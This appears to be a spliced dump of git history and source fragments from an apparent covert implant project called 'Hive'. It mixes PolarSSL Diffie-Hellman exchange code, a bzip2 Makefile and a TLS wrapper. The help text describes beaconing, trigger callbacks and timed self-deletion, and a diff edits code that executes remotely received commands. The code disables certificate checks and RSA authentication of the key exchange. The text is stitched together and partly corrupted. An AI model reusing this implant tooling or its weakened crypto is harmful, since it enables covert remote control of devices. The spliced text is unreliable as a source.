n = buflen = ( buf[0] << 8 ) | buf[1];
if( buflen < 1 || buflen > sizeof( buf ) )
{
printf( " failed\n ! Got an invalid buffer length\n\n" );
goto exit;
}
/*
* 4b. Get the DHM parameters: P, G and Ys = G^Xs mod P
*/
memset( buf, 0, sizeof( buf ) );
/*
* WILL REPLACE THIS SECTION WITH ssl_read.
*
*/
// if( ( ret = net_recv( &server_fd, buf, n ) ) != (int) n )
// {
// printf( " failed\n ! net_recv returned %d\n\n", ret );
// goto exit;
// }
// May need to use ssl->f_recv(ssl->p_recv, buf, n)
while ( ( ret = ssl_read( ssl, buf, n ) ) <= 0 )
{
if( ret != 0 )
{
printf(" Client dh 4b failed.\n");
}
else
{
printf(" Client dh 4b suceeded.\n");
}
}
p = buf, end = buf + buflen;
if( ( ret = dhm_read_params( &dhm, &p, end ) ) != 0 )
{
printf( " failed\n ! dhm_read_params returned %d\n\n", ret );
goto exit;
}
if( dhm.len < 64 || dhm.len > 256 )
{
ret = 1;
printf( " failed\n ! Invalid DHM modulus size\n\n" );
goto exit;
}
#if 0
/*
* 5. Check that the server's RSA signature matches
* the SHA-1 hash of (P,G,Ys)
*/
#endif
/*
* 6. Send our public value: Yc = G ^ Xc mod P
*/
printf( "\n . Sending own public value to server" );
fflush( stdout );
n = dhm.len;
if( ( ret = dhm_make_public( &dhm, 256, buf, n,
ctr_drbg_random, &ctr_drbg ) ) != 0 )
{
printf( " failed\n ! dhm_make_public returned %d\n\n", ret );
goto exit;
}
/*
* WILL REPLACE THIS SECTION WITH ssl_write.
*
*/
//if( ( ret = net_send( &server_fd, buf, n ) ) != (int) n )
//{
// printf( " failed\n ! net_send returned %d\n\n", ret );
// goto exit;
//}
// May need to use ssl->f_send(ssl->p_send, buf, n)
while ( ( ret = ssl_write( ssl, buf, n ) ) <= 0 )
{
if( ret != 0 )
{
printf(" Client dh 6 failed.\n");
}
else
{
printf(" Client dh 6 suceeded.\n");
}
}
/*
* 7. Derive the shared secret: K = Ys ^ Xc mod P
*/
printf( "\n . Shared secret: " );
fflush( stdout );
n = dhm.len;
if( ( ret = dhm_calc_secret( &dhm, buf, &n ) ) != 0 )
{
printf( " failed\n ! dhm_calc_secret returned %d\n\n", ret );
goto exit;
}
for( n = 0; n < 16; n++ )
printf( "%02x", buf[n] );
#if 0
/*
* 8. Setup the AES-256 decryption key
*
* This is an overly simplified example; best practice is
* to hash the shared secret with a random value to derive
* the keying material for the encryption/decryption keys,
* IVs and MACs.
*/
printf( "...\n . Receiving and decrypting the ciphertext" );
fflush( stdout );
aes_setkey_dec( &aes, buf, 256 );
memset( buf, 0, sizeof( buf ) );
if( ( ret = net_recv( &server_fd, buf, 16 ) ) != 16 )
{
printf( " failed\n ! net_recv returned %d\n\n", ret );
goto exit;
}
aes_crypt_ecb( &aes, AES_DECRYPT, buf, buf );
buf[16] = '\0';
printf( "\n . Plaintext is \"%s\"\n\n", (char *) buf );
#endif
exit:
net_close( server_fd );
//dhm_free( &dhm );
#if defined(_WIN32)
printf( " + Press Enter to exit this program.\n" );
fflush( stdout ); getchar();
#endif
return( ret );
}
#endif /* POLARSSL_AES_C && POLARSSL_DHM_C && POLARSSL_ENTROPY_C &&
POLARSSL_NET_C && POLARSSL_RSA_C && POLARSSL_SHA1_C &&
POLARSSL_FS_IO && POLARSSL_CTR_DRBG_C */
//
// END OF CLIENT PORTION
/////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////
// SERVER PORTION
//
/*
* Diffie-Hellman-Merkle key exchange (server side)
*
* Copyright (C) 2006-2011, Brainspark B.V.
*
* This file is part of PolarSSL (http://www.polarssl.org)
* Lead Maintainer: Paul Bakker <polarssl_maintainer at polarssl.org>
*
* All rights reserved.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
#if !defined(POLARSSL_AES_C) || !defined(POLARSSL_DHM_C) || \
!defined(POLARSSL_ENTROPY_C) || !defined(POLARSSL_NET_C) || \
!defined(POLARSSL_RSA_C) || !defined(POLARSSL_SHA1_C) || \
!defined(POLARSSL_FS_IO) || !defined(POLARSSL_CTR_DRBG_C)
int dhServerExchange( dhm_context *tunnelDhm, ssl_context *ssl )
{
printf("POLARSSL_AES_C and/or POLARSSL_DHM_C and/or POLARSSL_ENTROPY_C "
"and/or POLARSSL_NET_C and/or POLARSSL_RSA_C and/or "
"POLARSSL_SHA1_C and/or POLARSSL_FS_IO and/or "
"POLARSSL_CTR_DBRG_C not defined.\n");
return( 0 );
}
#else
int dhServerExchange( dhm_context *tunnelDhm, ssl_context *ssl )
{
// FILE *f;
int ret, retA;
size_t n, buflen;
unsigned char buf[1024];
unsigned char hash[20];
unsigned char buf2[2];
char *pers = "dh_server";
entropy_context entropy;
ctr_drbg_context ctr_drbg;
rsa_context rsa;
dhm_context dhm = *tunnelDhm;
//dhm_context dhm;
//aes_context aes;
memset( &rsa, 0, sizeof( rsa ) );
//tunnelDhm was created outside this loop.
//memset( &dhm, 0, sizeof( dhm ) );
/*
* 1. Setup the RNG
*/
printf( "\n . Seeding the random number generator" );
fflush( stdout );
entropy_init( &entropy );
if( ( ret = ctr_drbg_init( &ctr_drbg, entropy_func, &entropy,
(unsigned char *) pers, strlen( pers ) ) ) != 0 )
{
printf( " failed\n ! ctr_drbg_init returned %d\n", ret );
goto exit;
}
/*
* 2a. Read the server's private RSA key
*/
printf( "\n ****** Removed reading private key from rsa_priv.txt" );
fflush( stdout );
#if 0
if( ( f = fopen( "rsa_priv.txt", "rb" ) ) == NULL )
{
ret = 1;
printf( " failed\n ! Could not open rsa_priv.txt\n" \
" ! Please run rsa_genkey first\n\n" );
goto exit;
}
rsa_init( &rsa, RSA_PKCS_V15, 0 );
if( ( ret = mpi_read_file( &rsa.N , 16, f ) ) != 0 ||
( ret = mpi_read_file( &rsa.E , 16, f ) ) != 0 ||
( ret = mpi_read_file( &rsa.D , 16, f ) ) != 0 ||
( ret = mpi_read_file( &rsa.P , 16, f ) ) != 0 ||
( ret = mpi_read_file( &rsa.Q , 16, f ) ) != 0 ||
( ret = mpi_read_file( &rsa.DP, 16, f ) ) != 0 ||
( ret = mpi_read_file( &rsa.DQ, 16, f ) ) != 0 ||
( ret = mpi_read_file( &rsa.QP, 16, f ) ) != 0 )
{
printf( " failed\n ! mpi_read_file returned %d\n\n", ret );
goto exit;
}
rsa.len = ( mpi_msb( &rsa.N ) + 7 ) >> 3;
fclose( f );
#endif
/*
* 2b. Get the DHM modulus and generator
*/
printf( "\n . Reading DH parameters from dh_prime.txt" );
fflush( stdout );
if (mpi_read_string( &dhm.P, 16, POLARSSL_DHM_RFC3526_MODP_2048_P ) != 0 ||
mpi_read_string( &dhm.G, 16, POLARSSL_DHM_RFC3526_MODP_2048_G ) != 0)
{
printf( " failed\n ! Invalid DH parameter file\n\n" );
goto exit;
}
//NOT DONE SINCE ssl_write and ssl_read are available
#if 0
/*
* 3. Wait for a client to connect
*/
printf( "\n . Waiting for a remote connection" );
fflush( stdout );
if( ( ret = net_bind( &listen_fd, NULL, SERVER_PORT ) ) != 0 )
{
printf( " failed\n ! net_bind returned %d\n\n", ret );
goto exit;
}
if( ( ret = net_accept( listen_fd, &client_fd, NULL ) ) != 0 )
{
printf( " failed\n ! net_accept returned %d\n\n", ret );
goto exit;
}
#endif
/*
* 4. Setup the DH parameters (P,G,Ys)
*/
printf( "\n . Sending the server's DH parameters" );
fflush( stdout );
memset( buf, 0, sizeof( buf ) );
if( ( ret = dhm_make_params( &dhm, 256, buf, &n,
ctr_drbg_random, &ctr_drbg ) ) != 0 )
{
printf( " failed\n ! dhm_make_params returned %d\n\n", ret );
goto exit;
}
/*
* 5. Sign the parameters and send them
*/
sha1( buf, n, hash );
buf[n ] = (unsigned char)( rsa.len >> 8 );
buf[n + 1] = (unsigned char)( rsa.len );
#if 0
if( ( ret = rsa_pkcs1_sign( &rsa, NULL, NULL, RSA_PRIVATE, SIG_RSA_SHA1,
0, hash, buf + n + 2 ) ) != 0 )
{
printf( " failed\n ! rsa_pkcs1_sign returned %d\n\n", ret );
goto exit;
}
buflen = n + 2 + rsa.len;
#endif
buflen = n + 2;
buf2[0] = (unsigned char)( buflen >> 8 );
buf2[1] = (unsigned char)( buflen );
//if( ( ret = net_send( &client_fd, buf2, 2 ) ) != 2 ||
// ( ret = net_send( &client_fd, buf, buflen ) ) != (int) buflen )
//{
// printf( " failed\n ! net_send returned %d\n\n", ret );
// goto exit;
//}
// May need to use ssl->f_send(ssl->p_send, buf2, 2)
if ( ( ( retA = ssl_write( ssl, buf2, 2 ) ) != 0) ||
( ret = ssl_write( ssl, buf, buflen) != 0) )
{
if (retA != 0)
{
printf(" Server dh 5a filed.\n");
}
else
{
if (ret != 0)
{
printf(" Server dh 5b failed.\n");
}
}
}
else
{
printf(" Server dh 5 a and b suceeded.\n");
}
/*
* 6. Get the client's public value: Yc = G ^ Xc mod P
*/
printf( "\n . Receiving the client's public value" );
fflush( stdout );
memset( buf, 0, sizeof( buf ) );
n = dhm.len;
//if( ( ret = net_recv( &client_fd, buf, n ) ) != (int) n )
//{
// printf( " failed\n ! net_recv returned %d\n\n", ret );
// goto exit;
//}
// May need to use ssl->f_recv(ssl->p_recv, buf, n)
if ( ( ret = ssl_read( ssl, buf, n ) ) != 0 )
{
if (ret != 0)
{
printf(" Server dh 6 failed.\n");
}
}
else
{
printf(" Server dh 6 suceeded.\n");
}
if( ( ret = dhm_read_public( &dhm, buf, dhm.len ) ) != 0 )
{
printf( " failed\n ! dhm_read_public returned %d\n\n", ret );
goto exit;
}
/*
* 7. Derive the shared secret: K = Ys ^ Xc mod P
*/
printf( "\n . Shared secret: " );
fflush( stdout );
if( ( ret = dhm_calc_secret( &dhm, buf, &n ) ) != 0 )
{
printf( " failed\n ! dhm_calc_secret returned %d\n\n", ret );
goto exit;
}
for( n = 0; n < 16; n++ )
printf( "%02x", buf[n] );
#if 0
/*
* 8. Setup the AES-256 encryption key
*
* This is an overly simplified example; best practice is
* to hash the shared secret with a random value to derive
* the keying material for the encryption/decryption keys
* and MACs.
*/
printf( "...\n . Encrypting and sending the ciphertext" );
fflush( stdout );
aes_setkey_enc( &aes, buf, 256 );
memcpy( buf, PLAINTEXT, 16 );
aes_crypt_ecb( &aes, AES_ENCRYPT, buf, buf );
if( ( ret = net_send( &client_fd, buf, 16 ) ) != 16 )
{
printf( " failed\n ! net_send returned %d\n\n", ret );
goto exit;
}
printf( "\n\n" );
#endif
exit:
rsa_free( &rsa );
//dhm_free( &dhm );
#if defined(_WIN32)
printf( " + Press Enter to exit this program.\n" );
fflush( stdout ); getchar();
#endif
return( ret );
}
#endif /* POLARSSL_AES_C && POLARSSL_DHM_C && POLARSSL_ENTROPY_C &&
POLARSSL_NET_C && POLARSSL_RSA_C && POLARSSL_SHA1_C &&
POLARSSL_FS_IO && POLARSSL_CTR_DRBG_C */
//
// END OF SERVER PORTION
/////////////////////////////////////////////////////////////////////
tree a3c96ad34acf56386d817ed120a6f3cd122a555c
Makefile
crypto.c
crypto.h
crypto_strings.txt
dhExchange.c
function_strings.h
loki_utils.c
loki_utils.h
mod_gen_cryptostring_header.py
mod_gen_string_header.py
mod_hexify.py
string_utils.h
tag 2.8-RC1
Tagger: Jack M <jackmc@devlan.net>
Date: Fri Oct 17 13:08:13 2014 -0400
Hive-2.8RC1
commit 3cb04ee723feaa16b2eb0ff779df901107c234e0
Merge: d5da0b3 89bb119
Author: Jack M <jackmc@devlan.net>
Date: Fri Oct 17 11:38:52 2014 -0400
Merge branch 'dhm'
tag 2.9.1-RC1
Tagger: Jack M <jackmc@devlan.net>
Date: Fri Sep 18 12:05:50 2015 -0400
Hive-2.9.1-RC1
commit 9edb7d24442b885cf80a517dd165afd53799c759
Author: Jack M <jackmc@devlan.net>
Date: Fri Sep 11 13:18:54 2015 -0400
Update of help menu in debug version of server/main.c
diff --git a/server/main.c b/server/main.c
index bfa23d4..9fe8267 100644
--- a/server/main.c
+++ b/server/main.c
@@ -95,7 +95,7 @@ static void printUsage(char* exeName)
printf("\t\t-d <beacon delay> - initial beacon delay (in seconds, default: 2 minutes)\n");
printf("\t\t-t <callback delay> - delay between trigger received and callback +/- 30 seconds (in seconds)\n");
printf("\t\t-s <self-delete delay> - since last successful trigger/beacon (in seconds, default: 60 days)\n");
- printf("\t\t-S <IP address> - DNS server IP address in dotted quad notation (required if beacon address is a domain name)\n");
+ printf("\t\t-S <IP1>[,<IP2>] - DNS server IP address(es) in dotted quad notation (required if beacon address is a domain name)\n");
printf("\n\t\t-P <file path> - directory path for .config and .log files (120 chars max)\n");
#ifdef DEBUG
printf("\n\t\t-D <debug level> - debug level between 1 and 9, higher numbers are more verbose\n");
@@ -103,7 +103,7 @@ static void printUsage(char* exeName)
printf("\t\t-h - print this help menu\n");
printf( "\n\tExample:\n" );
- printf( "\t\t./hived-mikrotik-mips -a 10.3.2.76 -p 9999 -i 100000 -I hme0 -k Testing\n" );
+ printf( "\t\t./hived-mikrotik-mips -a 10.3.2.76 -p 9999 -i 3600 -k Testing\n" );
printf("\n");
return;
}
tree 964b9254cc1d8046078e62a2f6483d7a0dfa2cd4
.cproject
.project
Doxyfile
Makefile
README
client/
documentation/
hive.tar
honeycomb/
ilm-client/
infrastructure/
server/
tag 2.8.1
Tagger: Jack M <jackmc@devlan.net>
Date: Wed Mar 11 15:44:36 2015 -0400
Release of Hive-2.8.1.
commit 1d9bd98dd7e16bafbad3df7dfa22fd47760f2b4c
Author: Jack M <jackmc@devlan.net>
Date: Wed Mar 11 15:41:13 2015 -0400
Updated documenation for Hive-2.8.1 release.
diff --git a/documentation/UsersGuide/UsersGuide.odt b/documentation/UsersGuide/UsersGuide.odt
index fe02bd7..0adc5ec 100644
Binary files a/documentation/UsersGuide/UsersGuide.odt and b/documentation/UsersGuide/UsersGuide.odt differ
diff --git a/documentation/UsersGuide/UsersGuide.pdf b/documentation/UsersGuide/UsersGuide.pdf
index 76aee8a..c0aa82e 100644
Binary files a/documentation/UsersGuide/UsersGuide.pdf and b/documentation/UsersGuide/UsersGuide.pdf differ
# ------------------------------------------------------------------
# This file is part of bzip2/libbzip2, a program and library for
# lossless, block-sorting data compression.
#
# bzip2/libbzip2 version 1.0.6 of 6 September 2010
# Copyright (C) 1996-2010 Julian Seward <jseward@bzip.org>
#
# Please read the WARNING, DISCLAIMER and PATENTS sections in the
# README file.
#
# This program is released under the terms of the license contld-linux.so.3ained
# in the file LICENSE.
# ------------------------------------------------------------------
SHELL=/bin/sh
# To assist in cross-compiling
CC=gcc
AR=ar
RANLIB=ranlib
LDFLAGS=
BIGFILES=-D_FILE_OFFSET_BITS=64
CFLAGS=-Wall -Winline -O2 -g $(BIGFILES)
# Where you want it installed when you do 'make install'
PREFIX=/usr/local
OBJS= blocksort.o \
huffman.o \
crctable.o \
randtable.o \
compress.o \
decompress.o \
bzlib.o
all: libbz2.a bzip2 bzip2recover test
bzip2: libbz2.a bzip2.o
$(CC) $(CFLAGS) $(LDFLAGS) -o bzip2 bzip2.o -L. -lbz2
bzip2recover: bzip2recover.o
$(CC) $(CFLAGS) $(LDFLAGS) -o bzip2recover bzip2recover.o
libbz2.a: $(OBJS)
rm -f libbz2.a
$(AR) cq libbz2.a $(OBJS)
@if ( test -f $(RANLIB) -o -f /usr/bin/ranlib -o \
-f /bin/ranlib -o -f /usr/ccs/bin/ranlib ) ; then \
echo $(RANLIB) libbz2.a ; \
$(RANLIB) libbz2.a ; \
fi
check: test
test: bzip2
@cat words1
./bzip2 -1 < sample1.ref > sample1.rb2
./bzip2 -2 < sample2.ref > sample2.rb2
./bzip2 -3 < sample3.ref > sample3.rb2
./bzip2 -d < sample1.bz2 > sample1.tst
./bzip2 -d < sample2.bz2 > sample2.tst
./bzip2 -ds < sample3.bz2 > sample3.tst
cmp sample1.bz2 sample1.rb2
cmp sample2.bz2 sample2.rb2
cmp sample3.bz2 sample3.rb2
cmp sample1.tst sample1.ref
cmp sample2.tst sample2.ref
cmp sample3.tst sample3.ref
@cat words3
install: bzip2 bzip2recover
if ( test ! -d $(PREFIX)/bin ) ; then mkdir -p $(PREFIX)/bin ; fi
if ( test ! -d $(PREFIX)/lib ) ; then mkdir -p $(PREFIX)/lib ; fi
if ( test ! -d $(PREFIX)/man ) ; then mkdir -p $(PREFIX)/man ; fi
if ( test ! -d $(PREFIX)/man/man1 ) ; then mkdir -p $(PREFIX)/man/man1 ; fi
if ( test ! -d $(PREFIX)/include ) ; then mkdir -p $(PREFIX)/include ; fi
cp -f bzip2 $(PREFIX)/bin/bzip2
cp -f bzip2 $(PREFIX)/bin/bunzip2
cp -f bzip2 $(PREFIX)/bin/bzcat
cp -f bzip2recover $(PREFIX)/bin/bzip2recover
chmod a+x $(PREFIX)/bin/bzip2
chmod a+x $(PREFIX)/bin/bunzip2
chmod a+x $(PREFIX)/bin/bzcat
chmod a+x $(PREFIX)/bin/bzip2recover
cp -f bzip2.1 $(PREFIX)/man/man1
chmod a+r $(PREFIX)/man/man1/bzip2.1
cp -f bzlib.h $(PREFIX)/include
chmod a+r $(PREFIX)/include/bzlib.h
cp -f libbz2.a $(PREFIX)/lib
chmod a+r $(PREFIX)/lib/libbz2.a
cp -f bzgrep $(PREFIX)/bin/bzgrep
ln -s -f $(PREFIX)/bin/bzgrep $(PREFIX)/bin/bzegrep
ln -s -f $(PREFIX)/bin/bzgrep $(PREFIX)/bin/bzfgrep
chmod a+x $(PREFIX)/bin/bzgrep
cp -f bzmore $(PREFIX)/bin/bzmore
ln -s -f $(PREFIX)/bin/bzmore $(PREFIX)/bin/bzless
chmod a+x $(PREFIX)/bin/bzmore
cp -f bzdiff $(PREFIX)/bin/bzdiff
ln -s -f $(PREFIX)/bin/bzdiff $(PREFIX)/bin/bzcmp
chmod a+x $(PREFIX)/bin/bzdiff
cp -f bzgrep.1 bzmore.1 bzdiff.1 $(PREFIX)/man/man1
chmod a+r $(PREFIX)/man/man1/bzgrep.1
chmod a+r $(PREFIX)/man/man1/bzmore.1
chmod a+r $(PREFIX)/man/man1/bzdiff.1
echo ".so man1/bzgrep.1" > $(PREFIX)/man/man1/bzegrep.1
echo ".so man1/bzgrep.1" > $(PREFIX)/man/man1/bzfgrep.1
echo ".so man1/bzmore.1" > $(PREFIX)/man/man1/bzless.1
echo ".so man1/bzdiff.1" > $(PREFIX)/man/man1/bzcmp.1
clean:
rm -f *.o libbz2.a bzip2 bzip2recover \
sample1.rb2 sample2.rb2 sample3.rb2 \
sample1.tst sample2.tst sample3.tst
blocksort.o: blocksort.c
@cat words0
$(CC) $(CFLAGS) -c blocksort.c
huffman.o: huffman.c
$(CC) $(CFLAGS) -c huffman.c
crctable.o: crctable.c
$(CC) $(CFLAGS) -c crctable.c
randtable.o: randtable.c
$(CC) $(CFLAGS) -c randtable.c
compress.o: compress.c
$(CC) $(CFLAGS) -c compress.c
decompress.o: decompress.c
$(CC) $(CFLAGS) -c decompress.c
bzlib.o: bzlib.c
$(CC) $(CFLAGS) -c bzlib.c
bzip2.o: bzip2.c
$(CC) $(CFLAGS) -c bzip2.c
bzip2recover.o: bzip2recover.c
$(CC) $(CFLAGS) -c bzip2recover.c
distclean: clean
rm -f manual.ps manual.html manual.pdf
DISTNAME=bzip2-1.0.6
dist: check manual
rm -f $(DISTNAME)
ln -s -f . $(DISTNAME)
tar cvf $(DISTNAME).tar \
$(DISTNAME)/blocksort.c \
$(DISTNAME)/huffman.c \
$(DISTNAME)/crctable.c \
$(DISTNAME)/randtable.c \
$(DISTNAME)/compress.c \
$(DISTNAME)/decompress.c \
$(DISTNAME)/bzlib.c \
$(DISTNAME)/bzip2.c \
$(DISTNAME)/bzip2recover.c \
$(DISTNAME)/bzlib.h \
$(DISTNAME)/bzlib_private.h \
$(DISTNAME)/Makefile \
$(DISTNAME)/LICENSE \
$(DISTNAME)/bzip2.1 \
$(DISTNAME)/bzip2.1.preformatted \
$(DISTNAME)/bzip2.txt \
$(DISTNAME)/words0 \
$(DISTNAME)/words1 \
$(DISTNAME)/words2 \
$(DISTNAME)/words3 \
$(DISTNAME)/sample1.ref \
$(DISTNAME)/sample2.ref \
$(DISTNAME)/sample3.ref \
$(DISTNAME)/sample1.bz2 \
$(DISTNAME)/sample2.bz2 \
$(DISTNAME)/sample3.bz2 \
$(DISTNAME)/dlltest.c \
$(DISTNAME)/manual.html \
$(DISTNAME)/manual.pdf \
$(DISTNAME)/manual.ps \
$(DISTNAME)/README \
$(DISTNAME)/README.COMPILATION.PROBLEMS \
$(DISTNAME)/README.XML.STUFF \
$(DISTNAME)/CHANGES \
$(DISTNAME)/libbz2.def \
$(DISTNAME)/libbz2.dsp \
$(DISTNAME)/dlltest.dsp \
$(DISTNAME)/makefile.msc \
$(DISTNAME)/unzcrash.c \
$(DISTNAME)/spewG.c \
$(DISTNAME)/mk251.c \
$(DISTNAME)/bzdiff \
$(DISTNAME)/bzdiff.1 \
$(DISTNAME)/bzmore \
$(DISTNAME)/bzmore.1 \
$(DISTNAME)/bzgrep \
$(DISTNAME)/bzgrep.1 \
$(DISTNAME)/Makefile-libbz2_so \
$(DISTNAME)/bz-common.xsl \
$(DISTNAME)/bz-fo.xsl \
$(DISTNAME)/bz-html.xsl \
$(DISTNAME)/bzip.css \
$(DISTNAME)/entities.xml \
$(DISTNAME)/manual.xml \
$(DISTNAME)/format.pl \
$(DISTNAME)/xmlproc.sh
gzip -v $(DISTNAME).tar
# For rebuilding the manual from sources on my SuSE 9.1 box
MANUAL_SRCS= bz-common.xsl bz-fo.xsl bz-html.xsl bzip.css \
entities.xml manual.xml
manual: manual.html manual.ps manual.pdf
manual.ps: $(MANUAL_SRCS)
./xmlproc.sh -ps manual.xml
manual.pdf: $(MANUAL_SRCS)
./xmlproc.sh -pdf manual.xml
manual.html: $(MANUAL_SRCS)
./xmlproc.sh -html manual.xml
#ifdef __cplusplus
extern "C" {
#endif
#include "crypto.h"
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
// debug.h will get included from the client and/or server specific directories.
#include "../debug.h"
//*******************************************************
#define DEBUG_LEVEL 0
void my_debug(void *ctx, int level, const char *str) {
if (level < DEBUG_LEVEL) {
fprintf((FILE *) ctx, "%s", str);
fflush((FILE *) ctx);
}
}
//*******************************************************
int crypt_handshake(ssl_context * ssl) {
int ret;
DLX(4, printf("Performing the TLS handshake..."));
while ((ret = ssl_handshake(ssl)) != 0) {
if (ret != POLARSSL_ERR_NET_TRY_AGAIN) {
DLX(4, printf(" ERROR: ssl_handshake returned %d\n", ret));
return -1;
}
}
DLX(4, printf("TLS handshake successful\n"));
return 0;
}
//*******************************************************
int crypt_write(ssl_context * ssl, unsigned char *buf, int size) {
int ret;
DL(5);
while ((ret = ssl_write(ssl, buf, size)) <= 0) {
if (ret != POLARSSL_ERR_NET_TRY_AGAIN) {
DLX(5, printf("ERROR: ssl_write returned %d\n", ret));
return ret;
}
}
DLX(5, printf("%d bytes written\n", ret));
return ret;
}
//*******************************************************
/*!
* crypt_read(ssl_context * ssl, unsigned char *buf, int bufsize)
* @param ssl
* @param buf
* @param bufsize
* @return Characters read, 0 if peer closed, or < 0 for error
*/
int crypt_read(ssl_context * ssl, unsigned char *buf, int bufsize) {
int ret;
memset(buf, 0, bufsize);
ret = ssl_read(ssl, buf, bufsize);
if (ret == POLARSSL_ERR_SSL_PEER_CLOSE_NOTIFY) {
DLX(5, printf("ssl_read(): peer closed connection\n"));
ret = 0;
} else if (ret < 0) {
DLX(5, printf("ERROR: ssl_read() failed with error: %d\n", ret));
} else {
DLX(5, printf("ssl_read(): %d bytes read\n", ret));
}
return ret;
}
//*******************************************************
int crypt_close_notify(ssl_context * ssl) {
return ssl_close_notify(ssl);
}
//*******************************************************
int crypt_setup_client(havege_state * hs, ssl_context * ssl, ssl_session * ssn, int *sockfd) {
int ret;
/*
* 0. Initialize the RNG and the session data
*/
havege_init(hs);
memset(ssn, 0, sizeof(ssl_session));
/*
* 2. Setup stuff
*/
DLX(5, printf("Initializing the TLS structure..."));
if ((ret = ssl_init(ssl)) != 0) {
DLX(5, printf("ERROR: ssl_init returned: %d\n", ret));
return -1;
}
DLX(5, printf("SSL initialized\n"));
ssl_set_endpoint(ssl, SSL_IS_CLIENT);
ssl_set_authmode(ssl, SSL_VERIFY_NONE);
ssl_set_rng(ssl, havege_rand, hs);
ssl_set_dbg(ssl, my_debug, stdout);
ssl_set_bio(ssl, net_recv, sockfd, net_send, sockfd);
ssl_set_ciphers(ssl, ssl_default_ciphers);
ssl_set_session(ssl, 1, 600, ssn);
return 0;
}
//*******************************************************
int crypt_cleanup(ssl_context * ssl) {
ssl_free(ssl);
memset(ssl, 0, sizeof(ssl_context));
return 0;
}
#ifdef __cplusplus
}
#endif
commit cfcc590daa495a09ce5971976ad4db641eba3a89
Author: Jack M <jackmc@devlan.net>
Date: Tue Mar 18 10:10:41 2014 -0400
Solaris bug clean-up.
diff --git a/server/client_session.c b/server/client_session.c
index 48f2d44..79939e3 100644
--- a/server/client_session.c
+++ b/server/client_session.c
@@ -436,7 +436,7 @@ unsigned long StartClientSession( int sock )
if ( crypt_setup_client( &trig_hs, &trig_ssl, &trig_ssn, &sock ) != SUCCESS )
{
DLX(2, printf("ERROR: crypt_setup_client()\n"));
- crypt_cleanup( &trig_ssl);
+ crypt_cleanup( &trig_ssl);
return FAILURE; //TODO: SHOULD THESE BE GOING TO EXIT AT BOTTOM???
}
@@ -445,7 +445,7 @@ unsigned long StartClientSession( int sock )
if ( crypt_handshake(&trig_ssl) != SUCCESS )
{
DLX(2, printf("ERROR: TLS connection with TLS server failed to initialize.\n"));
- crypt_cleanup( &trig_ssl);
+ crypt_cleanup( &trig_ssl);
return FAILURE; //TODO: SHOULD THESE BE GOING TO EXIT AT BOTTOM???
}
DLX(3, printf("TLS handshake complete.\n"));
@@ -455,6 +455,7 @@ unsigned long StartClientSession( int sock )
{
COMMAND cmd;
REPLY ret;
+ int r;
// Fill reply buffer with random bytes
GenRandomBytes((unsigned char *)&ret, sizeof(REPLY));
@@ -465,13 +466,16 @@ unsigned long StartClientSession( int sock )
// this timeout is reset each time a command is received.
alarm( SESSION_TIMEOUT );
- // Receive(sock, (unsigned char*)&cmd, sizeof(cmd), CMD_TIMEOUT);
- //TODO: Fix this. There's nothing in this loop after removing the WIN32 code.
- if(crypt_read( &trig_ssl, (unsigned char *)&cmd, sizeof( COMMAND )) <= 0)
- {
- DLX(3, printf("crypt_read failed to return data\n"));
+ r = crypt_read(&trig_ssl, (unsigned char *)&cmd, sizeof(COMMAND));
+ if (r == 0) { // Peer closed connection
+ DLX(3, printf("crypt_read: peer closed connection\n"));
+ break;
+ }
+ if (r < 0) { // Read error
+ DLX(3, printf("crypt_read error: %0x\n", r));
continue;
}
+
alarm( 0 );
// Expand the cmd.path to the proper path resolving ENVIRONMENT variables
@@ -572,9 +576,7 @@ Exit:
int Execute( char *path )
{
- //Assume success...
- int rv;
- int status=0;
+ int status=0; //Assume success...
pid_t pid;
char* receivedCommand;
@@ -606,9 +608,9 @@ int Execute( char *path )
status = -1;
}
else
- {
- //This is the parent process, Wait for the child to complete.
- rv = waitpid( pid, &status, 0);
+ { //This is the parent process, Wait for the child to complete.
+ D(int rv;)
+ D(rv =) waitpid( pid, &status, 0);
DLX(2, printf("waitpid() returned %d while waiting for pid %d\n", rv, (int)pid));
if (WIFEXITED(status))
{
diff --git a/server/polarssl-0.14.0/crypto.c b/server/polarssl-0.14.0/crypto.c
index a9ce5d5..28cc9f9 100644
--- a/server/polarssl-0.14.0/crypto.c
+++ b/server/polarssl-0.14.0/crypto.c
@@ -57,34 +57,28 @@ extern "C" {
}
//*******************************************************
+ /*!
+ * crypt_read(ssl_context * ssl, unsigned char *buf, int bufsize)
+ * @param ssl
+ * @param buf
+ * @param bufsize
+ * @return Characters read, 0 if peer closed, or < 0 for error
+ */
int crypt_read(ssl_context * ssl, unsigned char *buf, int bufsize) {
int ret;
- // TODO: look at this do/while loop again. it only runs once.
- // does it serve any other purpose?
- do {
- memset(buf, 0, bufsize);
+ memset(buf, 0, bufsize);
- ret = ssl_read(ssl, buf, bufsize);
-
- if (ret == POLARSSL_ERR_NET_TRY_AGAIN) {
- DLX(5, printf("ERROR: ssl_read() returned POLARSSL_ERR_NET_TRY_AGAIN, retrying...\n"));
- continue;
- }
-
- if (ret == POLARSSL_ERR_SSL_PEER_CLOSE_NOTIFY) {
- DLX(5, printf("ERROR: ssl_read() returned POLARSSL_ERR_SSL_PEER_CLOSE_NOTIFY\n"));
- break;
- }
-
- if (ret <= 0) {
- DLX(5, printf("ERROR: ssl_read() failed with error: %d\n", ret));
- break;
- }
+ ret = ssl_read(ssl, buf, bufsize);
+ if (ret == POLARSSL_ERR_SSL_PEER_CLOSE_NOTIFY) {
+ DLX(5, printf("ssl_read(): peer closed connection\n"));
+ ret = 0;
+ } else if (ret < 0) {
+ DLX(5, printf("ERROR: ssl_read() failed with error: %d\n", ret));
+ } else {
DLX(5, printf("ssl_read(): %d bytes read\n", ret));
}
- while (0);
return ret;
}
tag 2.9-RC3
Tagger: Jack M <jackmc@devlan.net>
Date: Thu May 21 14:24:54 2015 -0400
Hive-2.9 Release Candidate 3 - Fixes DNS lookup with invalid or unreachable DNS server.
commit e601067b3022467d2c1ee3305cfcd92eaf4952b2
